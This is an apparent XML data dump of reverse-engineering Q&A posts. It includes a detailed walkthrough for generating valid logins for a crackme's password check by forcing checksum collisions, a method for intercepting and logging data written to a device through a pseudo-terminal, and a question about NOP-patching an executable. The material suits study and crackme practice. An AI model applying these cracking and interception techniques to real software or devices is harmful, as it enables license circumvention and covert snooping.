  <row Id="16516" PostTypeId="2" ParentId="16509" CreationDate="2017-10-09T10:54:39.540" Score="1" Body="&lt;p&gt;How about generating many logins from a password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start, algorithm 1 looks like the weakest link. Algorithm 2 is a one directional hash function and there's no way you can extract the characters by only knowing the magic number and the password bias. It involves some advanced math work and time. I explain the process of breaking Algorithm 2 in the second section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;log_bias  = 0xfec0135a&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;pass_bias = 0xdeadbeef&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at algorithm 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;strong&gt;log_chunk = 0xlogin(0)login(1)login(n - 2)login(n - 1);&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;strong&gt;log_checksum = Sum(login, 0, n);&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) &lt;strong&gt;log_magicnumber = log_chunk ^ log_checksum ^ log_bias;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This algorithm shows two potential weaknesses. One, if you take the magic number and xor it with the &lt;strong&gt;log_bias&lt;/strong&gt; constant you obtain : &#xA;&lt;strong&gt;log_chunk ^ log_checksum&lt;/strong&gt;.&#xA;Two, &lt;strong&gt;log_chunk&lt;/strong&gt; is a concatenation in hex of the first two characters and the last two characters and it provides a frame for the login; therefore, we can generate our own characters and give that variable a value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After getting rid of the bias and choosing a value for the chunk, we can obtain a value for &lt;strong&gt;log_checksum&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;log_checksum =  (log_magicnumber ^ log_bias) ^ log_chunk;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's left to do is to find a sequence of numbers representing characters which sum is the checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, if you look at the &lt;a href=&quot;http://www.asciichars.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASCII&lt;/a&gt; table you'll see that printable characters go from 33 to 126. If we generate a random value &lt;strong&gt;b&lt;/strong&gt; between 33 and 126 and subtract it from the checksum we obtain a character value &lt;strong&gt;b&lt;/strong&gt; and  reduce the checksum value by &lt;strong&gt;b&lt;/strong&gt; : &lt;strong&gt;log_checksum -= b&lt;/strong&gt;. Repeat this operation until checksum value goes below 126 and only store characters which &lt;strong&gt;diff = (log_checksum - b)&lt;/strong&gt; is greater or equal than 33. This way, all characters will be printable.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After filling the middle of the login string it can be represented as follows :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;login&lt;/strong&gt; = &lt;strong&gt;A B&lt;/strong&gt; &lt;strong&gt;b&lt;/strong&gt;0 &lt;strong&gt;b&lt;/strong&gt;1 &lt;strong&gt;b&lt;/strong&gt;2 ... &lt;strong&gt;b&lt;/strong&gt;j &lt;strong&gt;C D&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with A, B, C, D the characters we chose, and &lt;strong&gt;b&lt;/strong&gt;i the characters generated from the checksum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This reverse engineering approach is a cheap smart hack that targets the weakest hash function of the process and it will definitely work and save you time. From one password you'll obtain multiple logins : this is called a hash collision. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example output of this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Login: Vasya_Pupkin&#xA;Password: 011c0d0f090e00&#xA;Login    check : 0xa8a17eee&#xA;Password check : 0xa8a17eee&#xA;Check success :)&#xA;Valid login for pass_magicnumber 0xa8a17eee: Va[JiIUpHBI]in, length = 14&#xA;Valid login for pass_magicnumber 0xa8a17eee: VaU[^OnyD^fin, length = 13&#xA;Valid login for pass_magicnumber 0xa8a17eee: Va|IkH`y`i2in, length = 13&#xA;Valid login for pass_magicnumber 0xa8a17eee: VaTziSl^oK&amp;gt;in, length = 13&#xA;Valid login for pass_magicnumber 0xa8a17eee: VawNzAOGWktin, length = 13&#xA;Valid login for pass_magicnumber 0xa8a17eee: Vaeh]bmzbwin, length = 12&#xA;Valid login for pass_magicnumber 0xa8a17eee: VaugjXcNEvBin, length = 13&#xA;Valid login for pass_magicnumber 0xa8a17eee: VaJoMwQ{p[8in, length = 13&#xA;Valid login for pass_magicnumber 0xa8a17eee: VatBZwR`R|Ein, length = 13&#xA;Valid login for pass_magicnumber 0xa8a17eee: VaIy[lkZQbKin, length = 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the listed valid logins will work for the password &quot;011c0d0f090e00&quot;.&#xA;If you alter the password a bit, say : &quot;011c0d0f090efe&quot;, here's what you get : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Login: VaNpNa^Twin &#xA;Password: 011c0d0f090efe&#xA;Login    check : 0xa8a17e10&#xA;Password check : 0xa8a17e10&#xA;Check success :)&#xA;Valid login for pass_magicnumber 0xa8a17e10: VaeOTUkOG8in, length = 12&#xA;Valid login for pass_magicnumber 0xa8a17e10: VaUDFEzBx&amp;gt;in, length = 12&#xA;Valid login for pass_magicnumber 0xa8a17e10: Va|gktoein, length = 10&#xA;Valid login for pass_magicnumber 0xa8a17e10: VaaPRTogiin, length = 11&#xA;Valid login for pass_magicnumber 0xa8a17e10: VaFEzBpktin, length = 11&#xA;Valid login for pass_magicnumber 0xa8a17e10: VafCCzmQrin, length = 11&#xA;Valid login for pass_magicnumber 0xa8a17e10: VaFDWMHSNC&amp;lt;in, length = 13&#xA;Valid login for pass_magicnumber 0xa8a17e10: VaSvoIgR\in, length = 11&#xA;Valid login for pass_magicnumber 0xa8a17e10: Va[{eLdl?in, length = 11&#xA;Valid login for pass_magicnumber 0xa8a17e10: VaPaoDPXFDin, length = 12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, let's talk about generating passwords from a login magic number.&#xA;You'll have to attack this function :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;log_magicnumber = b ^ ((log_magicnumber &amp;lt;&amp;lt; 5) + 1) ^ pass_bias&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look closely, you'll see that current &lt;strong&gt;log_magicnumber&lt;/strong&gt; is computed using the previous &lt;strong&gt;log_magicnumber&lt;/strong&gt; value transformed and mixed up with an unknown byte value and a known bias.&#xA;Iteratively, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;log_magicnumber(i) = b ^ ((log_magicnumber(i - 1) &amp;lt;&amp;lt; 5) + 1) ^ pass_bias&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we xor the &lt;strong&gt;pass_magicnumber&lt;/strong&gt; and the &lt;strong&gt;pass_bias&lt;/strong&gt; we're left with :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;b ^ ((log_magicnumber &amp;lt;&amp;lt; 5) + 1)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After generating all possible values of &lt;strong&gt;b&lt;/strong&gt; (&lt;em&gt;0-9&lt;/em&gt; and &lt;em&gt;a-f&lt;/em&gt;, 16 possibilities total) and deriving the corresponding value of &lt;strong&gt;log_magicnumber&lt;/strong&gt; for each possible value of &lt;strong&gt;b&lt;/strong&gt;, we apply the same step on these magic number values to obtain another value &amp;amp; we go on 8 times (the password string being a 64 bit value = 8 bytes with a minimum length of 6 bytes). We discard the two left-most bytes if set to zero and pack all the bytes into a password string; we then verify with the password magic number algorithm if the password's magic number matches the login's.     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach amounts to creating an 8 stage tree where each node has 16 children. This means that we'll have to generate 16 to the power of 8 characters : 16^8 = (2^4)^8 = 2^32 = 4.294.967.296 characters (4GB) and combine them in strings of 6 to 8 characters with each string being checked for validation. It was fun to code :) &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2017-10-09T10:54:39.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16517" PostTypeId="2" ParentId="16506" CreationDate="2017-10-09T19:53:53.233" Score="2" Body="&lt;p&gt;I have used &lt;a href=&quot;https://linux.die.net/man/4/pts&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;/dev/ptmx&lt;/code&gt;&lt;/a&gt; for that purpose:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say i want to intercept data written to &lt;code&gt;/dev/somedevice&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First i open the master: &lt;code&gt;/dev/ptmx&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Then i allocate a slave by calling &lt;code&gt;ptsname&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Now rename &lt;code&gt;/dev/somedevice&lt;/code&gt; to &lt;code&gt;/dev/somedevice.orig&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Symlink &lt;code&gt;/dev/somedevice&lt;/code&gt; to the pts slave.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;open the original device &lt;code&gt;/dev/somedevice.orig&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;start copying data between the master and the original device.&#xA;recording data to a log file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Make sure the interceptor gets started before the original program opens the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, i think you may run into problems handling &lt;code&gt;ioctl&lt;/code&gt;s this way.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2017-10-09T19:53:53.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16518" PostTypeId="2" ParentId="16043" CreationDate="2017-10-09T20:52:32.080" Score="0" Body="&lt;p&gt;What you are looking for is called value profiling. It's a technique that aims at logging the values of certain variables (like loop bounds) in order to extract all possible values and use them to fine tune the code for better performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you should know, once you compile your code, debug info or not, there's no more notion of variable. And, if you use a compiler optimization flag, and you should, variables will be optimized out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This said, your best option is either to go through your code and put prints manually (even through a parsing script); or you can go with a compiler plug-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using &lt;strong&gt;&lt;em&gt;GCC&lt;/em&gt;&lt;/strong&gt;, I would recommend writing a plug-in guided by your own directive i.e. &lt;strong&gt;&lt;em&gt;#pragma watch var&lt;/em&gt;&lt;/strong&gt; which then instructs the compiler to instrument at the GIMPLE level with a function from a library - let's call it &lt;strong&gt;&lt;em&gt;watch_var.so&lt;/em&gt;&lt;/strong&gt;. This library's functions look like the following prototype : &lt;strong&gt;dump_int_var_value(FILE *fd, char *var_name, int var_value)&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only at the compiler level can you cleanly automate this process given that you'll know when the variable is declared, when it is used (read &amp;amp; written), and its type. &#xA;The pragma directive mentioned above can come in two flavors : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Placed before variable declaration, var1 &amp;amp; var2 will be watched.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; #pragma watch var&#xA; int var1, var2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Placed at the beginning of a block, x and y will be watched in the first example. And, only i will be watched in the second one. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; #pragma watch var &#xA; int function1(int a, int b)&#xA; {&#xA;     int x = a, y = b;&#xA;     return x + y;&#xA; }&#xA;&#xA; #pragma watch var&#xA; if (a &amp;lt; b)&#xA; {&#xA;     for (int i = 0; i &amp;lt; n; i++)&#xA;        t[i] = a * i;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From here, I guess you get the idea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From where I stand, I see this as the only clean solution to handling variables without having to re-invent the wheel or delve into complicated tricks.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2017-10-09T20:52:32.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16519" PostTypeId="1" AcceptedAnswerId="16523" CreationDate="2017-10-09T22:06:46.367" Score="1" ViewCount="413" Body="&lt;p&gt;I'm trying to understand how the procedural generation in a particular Unity 3D game works. I do not have the source code/project file, just a windows build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've opened up a dll called &lt;code&gt;Assembly-UnityScript.dll&lt;/code&gt; with ILSpy and found some classes, but it's not immediately apparent how the classes are put together, i.e. how and when methods on the classes are called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at some tutorials but they are all concerned with injecting their own code into the game. I'm just interested in how my target game does what it does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any straightforward way to figure out how the classes are used?&lt;/p&gt;&#xA;" OwnerUserId="21886" LastActivityDate="2017-10-10T07:41:42.990" Title="See how classes are used in a Unity 3D game" Tags="|windows|dll|c#|" AnswerCount="1" CommentCount="3" ClosedDate="2017-10-22T00:45:14.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="16521" PostTypeId="1" AcceptedAnswerId="16522" CreationDate="2017-10-10T04:45:49.023" Score="7" ViewCount="1744" Body="&lt;p&gt;So I was messing with gdb and came across something rather interesting. I ran the following code into gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int i, g = 1;&#xA;for (i = 0; i &amp;lt; 100; i++)&#xA;          g++;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before execution, &lt;strong&gt;disas main&lt;/strong&gt; yields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x000000000000064a &amp;lt;+0&amp;gt;: push   %rbp&#xA;   0x000000000000064b &amp;lt;+1&amp;gt;: mov    %rsp,%rbp&#xA;   0x000000000000064e &amp;lt;+4&amp;gt;: sub    $0x10,%rsp&#xA;   0x0000000000000652 &amp;lt;+8&amp;gt;: movl   $0x1,-0x4(%rbp)&#xA;   0x0000000000000659 &amp;lt;+15&amp;gt;:    movl   $0x0,-0x8(%rbp)&#xA;   0x0000000000000660 &amp;lt;+22&amp;gt;:    jmp    0x66a &amp;lt;main+32&amp;gt;&#xA;   0x0000000000000662 &amp;lt;+24&amp;gt;:    addl   $0x1,-0x4(%rbp)&#xA;   0x0000000000000666 &amp;lt;+28&amp;gt;:    addl   $0x1,-0x8(%rbp)&#xA;   0x000000000000066a &amp;lt;+32&amp;gt;:    cmpl   $0x63,-0x8(%rbp)&#xA;   0x000000000000066e &amp;lt;+36&amp;gt;:    jle    0x662 &amp;lt;main+24&amp;gt;&#xA;   0x0000000000000670 &amp;lt;+38&amp;gt;:    mov    -0x4(%rbp),%eax&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Interestingly, after &lt;strong&gt;run&lt;/strong&gt;, things look different:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x000055555555464a &amp;lt;+0&amp;gt;: push   %rbp&#xA;   0x000055555555464b &amp;lt;+1&amp;gt;: mov    %rsp,%rbp&#xA;   0x000055555555464e &amp;lt;+4&amp;gt;: sub    $0x10,%rsp&#xA;   0x0000555555554652 &amp;lt;+8&amp;gt;: movl   $0x1,-0x4(%rbp)&#xA;   0x0000555555554659 &amp;lt;+15&amp;gt;:    movl   $0x0,-0x8(%rbp)&#xA;   0x0000555555554660 &amp;lt;+22&amp;gt;:    jmp    0x55555555466a &amp;lt;main+32&amp;gt;&#xA;   0x0000555555554662 &amp;lt;+24&amp;gt;:    addl   $0x1,-0x4(%rbp)&#xA;   0x0000555555554666 &amp;lt;+28&amp;gt;:    addl   $0x1,-0x8(%rbp)&#xA;   0x000055555555466a &amp;lt;+32&amp;gt;:    cmpl   $0x63,-0x8(%rbp)&#xA;   0x000055555555466e &amp;lt;+36&amp;gt;:    jle    0x555555554662 &amp;lt;main+24&amp;gt;&#xA;   0x0000555555554670 &amp;lt;+38&amp;gt;:    mov    -0x4(%rbp),%eax&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is going on here? Why the addresses are different before execution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output of &lt;strong&gt;info proc mappings&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      Start Addr           End Addr       Size     Offset objfile&#xA;  0x555555554000     0x555555555000     0x1000        0x0 /tmp/test&#xA;  0x555555754000     0x555555755000     0x1000        0x0 /tmp/test&#xA;  0x555555755000     0x555555756000     0x1000     0x1000 /tmp/test&#xA;  0x7ffff7a21000     0x7ffff7bcf000   0x1ae000        0x0 /usr/lib/libc-2.26.so&#xA;  0x7ffff7bcf000     0x7ffff7dce000   0x1ff000   0x1ae000 /usr/lib/libc-2.26.so&#xA;  0x7ffff7dce000     0x7ffff7dd2000     0x4000   0x1ad000 /usr/lib/libc-2.26.so&#xA;  0x7ffff7dd2000     0x7ffff7dd4000     0x2000   0x1b1000 /usr/lib/libc-2.26.so&#xA;  0x7ffff7dd4000     0x7ffff7dd8000     0x4000        0x0 &#xA;  0x7ffff7dd8000     0x7ffff7dfd000    0x25000        0x0 /usr/lib/ld-2.26.so&#xA;  0x7ffff7fcc000     0x7ffff7fce000     0x2000        0x0 &#xA;  0x7ffff7ff7000     0x7ffff7ffa000     0x3000        0x0 [vvar]&#xA;  0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]&#xA;  0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x24000 /usr/lib/ld-2.26.so&#xA;  0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x25000 /usr/lib/ld-2.26.so&#xA;  0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 &#xA;  0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]&#xA;  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;maint info section&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file type elf64-x86-64.&#xA; [0]     0x00000238-&amp;gt;0x00000254 at 0x00000238: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [1]     0x00000254-&amp;gt;0x00000274 at 0x00000254: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [2]     0x00000274-&amp;gt;0x00000298 at 0x00000274: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [3]     0x00000298-&amp;gt;0x000002b4 at 0x00000298: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [4]     0x000002b8-&amp;gt;0x00000360 at 0x000002b8: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [5]     0x00000360-&amp;gt;0x000003e4 at 0x00000360: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [6]     0x000003e4-&amp;gt;0x000003f2 at 0x000003e4: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [7]     0x000003f8-&amp;gt;0x00000418 at 0x000003f8: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [8]     0x00000418-&amp;gt;0x000004f0 at 0x00000418: .rela.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [9]     0x000004f0-&amp;gt;0x00000508 at 0x000004f0: .rela.plt ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [10]     0x00000508-&amp;gt;0x0000051f at 0x00000508: .init ALLOC LOAD READONLY CODE HAS_CONTENTS&#xA; [11]     0x00000520-&amp;gt;0x00000540 at 0x00000520: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS&#xA; [12]     0x00000540-&amp;gt;0x00000702 at 0x00000540: .text ALLOC LOAD READONLY CODE HAS_CONTENTS&#xA; [13]     0x00000704-&amp;gt;0x0000070d at 0x00000704: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS&#xA; [14]     0x00000710-&amp;gt;0x00000718 at 0x00000710: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [15]     0x00000718-&amp;gt;0x0000074c at 0x00000718: .eh_frame_hdr ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [16]     0x00000750-&amp;gt;0x00000840 at 0x00000750: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS&#xA; [17]     0x00200de0-&amp;gt;0x00200de8 at 0x00000de0: .init_array ALLOC LOAD DATA HAS_CONTENTS&#xA; [18]     0x00200de8-&amp;gt;0x00200df0 at 0x00000de8: .fini_array ALLOC LOAD DATA HAS_CONTENTS&#xA; [19]     0x00200df0-&amp;gt;0x00200fd0 at 0x00000df0: .dynamic ALLOC LOAD DATA HAS_CONTENTS&#xA; [20]     0x00200fd0-&amp;gt;0x00201000 at 0x00000fd0: .got ALLOC LOAD DATA HAS_CONTENTS&#xA; [21]     0x00201000-&amp;gt;0x00201020 at 0x00001000: .got.plt ALLOC LOAD DATA HAS_CONTENTS&#xA; [22]     0x00201020-&amp;gt;0x00201030 at 0x00001020: .data ALLOC LOAD DATA HAS_CONTENTS&#xA; [23]     0x00201030-&amp;gt;0x00201038 at 0x00001030: .bss ALLOC&#xA; [24]     0x00000000-&amp;gt;0x00000011 at 0x00001030: .comment READONLY HAS_CONTENTS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14535" LastEditorUserId="3162" LastEditDate="2017-10-10T06:41:42.733" LastActivityDate="2017-10-11T05:32:26.607" Title="Understanding gdb output" Tags="|disassembly|gdb|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16522" PostTypeId="2" ParentId="16521" CreationDate="2017-10-10T06:20:47.623" Score="10" Body="&lt;p&gt;Seems like &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Relocation_(computing)&quot; rel=&quot;nofollow noreferrer&quot;&gt;relocation&lt;/a&gt;&lt;/em&gt;. If you look at the addresses in your first listing, you will notice that these addresses are unusually low. That's probably because gdb displays file offsets there (although I have no idea why that is the case for you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you run the file, the loader kicks in and maps the sections to the virtual address space of the program, and thats where the &lt;code&gt;0x0000555555554000&lt;/code&gt; section offset comes from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the file offsets of each section using &lt;code&gt;maint info sections&lt;/code&gt;. You can get information about the actual mapped memory sections using &lt;code&gt;info proc mappings&lt;/code&gt; at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the output of the commands above, everything seems to be alright.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[12]     0x00000540-&amp;gt;0x00000702 at 0x00000540: .text ALLOC LOAD READONLY CODE HAS_CONTENTS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line states that the &lt;code&gt;.text&lt;/code&gt; section of your code starts at file offset 0x540 and ends at 0x702 containing code. If your compare it with your first disassembly starting at offset 0x64a, this is a decent fit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x555555554000     0x555555555000     0x1000        0x0 /tmp/test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line states that the executable itself was mapped to the base address &lt;code&gt;0x555555554000&lt;/code&gt;. Given the offset from before, that means your main function should be at &lt;code&gt;0x555555554000 + 0x64a&lt;/code&gt;. Your second disassembly confirms that.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="13377" LastEditDate="2017-10-11T05:32:26.607" LastActivityDate="2017-10-11T05:32:26.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16523" PostTypeId="2" ParentId="16519" CreationDate="2017-10-10T06:28:28.500" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;it's not immediately apparent how the classes are put together, i.e.&#xA;  how and when methods on the classes are called&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm afraid there is no free lunch here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can tackle this with two approaches:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Static disassembly (look at the disassembled code and try to make sense of it)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Dynamic analysis (e.g. use a debugger like &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt;) This way you can 'watch' the acutal generation process.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2017-10-10T07:41:42.990" LastActivityDate="2017-10-10T07:41:42.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16524" PostTypeId="2" ParentId="16498" CreationDate="2017-10-10T06:53:46.347" Score="4" Body="&lt;p&gt;The problem being addressed here is commonly called the &lt;strong&gt;semantic gap&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you stumble across any binary snippet like the one you posted, it's nearly impossible to deduce the way the value is meant to be interpreted, unless you find code interpreting this value in any way (e.g. a file loader using this value as an offset, ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem is that you can come up with countless ways of interpretation for this value. Maybe these are just flags. Maybe it's meant to be disassembled for PowerPC. Maybe it's the score variable in a Pacman game. You can &lt;em&gt;try&lt;/em&gt; to deduce the meaning by interpreting it in numerous ways, but often that won't cut it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c3O7p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c3O7p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="-1" LastEditDate="2017-10-10T11:41:42.747" LastActivityDate="2017-10-10T11:41:42.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16525" PostTypeId="2" ParentId="16448" CreationDate="2017-10-10T23:39:32.103" Score="1" Body="&lt;p&gt;I figured out how to do this and hopefully this will help someone else. In retro spect the answer was in the original question. It just didn't click at the time of posting. This was implemented using pydbg and pefile. This was a good little exercise that forced me to get real familiar with the PE file format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Get module PE header base and size&#xA;for mods in dbg.iterate_modules():&#xA;    if mod.lower() == str(mods.szModule.lower()):&#xA;        print('Mod: {0} Base: {1}'.format(mods.szModule,&#xA;                                          hex(mods.modBaseAddr)))&#xA;        addr = mods.modBaseAddr&#xA;        size = mods.modBaseSize&#xA;        break&#xA;&#xA;# Read PE header in memory&#xA;pe = pefile.PE(data=dbg.read_process_memory(addr, size))&#xA;pe.parse_data_directories(directories=[&#xA;                pefile.DIRECTORY_ENTRY[u'IMAGE_DIRECTORY_ENTRY_IMPORT'],&#xA;                ])&#xA;&#xA;# Traverse IAT&#xA;for entry in pe.DIRECTORY_ENTRY_IMPORT:&#xA;    print(entry.dll)&#xA;    print('#'*20)&#xA;    for imp in entry.imports:&#xA;       print('Address:{0}    API:{1}'.format(hex(imp.address), imp.name))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20200" LastEditorUserId="20200" LastEditDate="2017-10-11T00:00:30.927" LastActivityDate="2017-10-11T00:00:30.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16526" PostTypeId="1" CreationDate="2017-10-11T03:55:59.640" Score="2" ViewCount="1522" Body="&lt;p&gt;I'm new to reverse engineering. I started off here and I was working on the first file &quot;Muadib1.zip&quot;. I replaced &lt;code&gt;E842000000&lt;/code&gt; with &lt;code&gt;909090909090&lt;/code&gt; in a hex editor, but it seems like it broke the exe. Any ideas why it's not working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried replacing the sequence with just 5 NOP's instead of 6 but the result was the same.&lt;/p&gt;&#xA;" OwnerUserId="4279" LastEditorUserId="-1" LastEditDate="2017-10-22T04:54:12.697" LastActivityDate="2017-10-22T04:54:12.697" Title="Patching an exe with NOPs" Tags="|qt|" AnswerCount="1" CommentCount="3" ClosedDate="2017-10-22T00:40:01.803" ContentLicense="CC BY-SA 3.0" />
